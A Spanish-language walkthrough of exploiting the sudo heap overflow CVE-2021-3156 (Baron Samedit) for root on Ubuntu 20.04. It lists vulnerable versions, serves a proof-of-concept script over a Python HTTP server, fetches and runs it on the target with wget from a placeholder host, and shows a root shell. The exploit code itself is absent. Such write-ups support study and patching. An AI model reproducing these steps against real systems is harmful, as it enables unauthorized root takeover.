👑 CVE-2021-3156 (Baron Samedit) — Escalada de privilegios mediante desbordamiento de montículo en sudo

📅 Fecha: 2025-06-08
✍️ Autor: @TopskiyPavelQwertyGang 🧠 Investigador de seguridad | Entusiasta del Red Team

---

🧠 Descripción general de la CVE

• CVE-ID: CVE-2021-3156
• Tipo: Desbordamiento de búfer basado en heap (Heap-based Buffer Overflow)
• Componente: sudoedit (sudo)
• Nivel de acceso: Local
• Objetivo: Obtención de privilegios de root

---

🧠 Descripción

El heap-overflow en sudoedit permite que un usuario local obtenga acceso de root
al ejecutar el comando sudoedit con parámetros preparados de antemano.

La explotación está activa para versiones de sudo < 1.9.5p2, incluidas las imágenes populares de Ubuntu/Debian/CentOS.
Incluso con ASLR habilitado, la vulnerabilidad sigue siendo explotable.

---

🐾 Condiciones de explotación

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (vulnerable)
ASLR   : 2 (habilitado)

---

🧪 Preparación del entorno

1. Se verificaron las versiones de glibc y sudo:

ldd --version
sudo --version

2. Se transfirieron los scripts PoC desde otra máquina mediante un servidor HTTP integrado:

python3 -m http.server 80

3. En la máquina objetivo, los PoC se descargan y se ejecutan:

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

---

🚀 Explotación exitosa del PoC

$ python3 exploit_nss.py
# whoami
root

---

🧾 Conclusión

La explotación de CVE-2021-3156 sigue siendo posible incluso con ASLR activo, si glibc ≥ 2.26 y sudo es una versión vulnerable.
El exploit más estable resultó ser exploit_nss.py, que funciona al primer intento con una configuración correcta de NSS.

🧨 Sistema bajo control.

---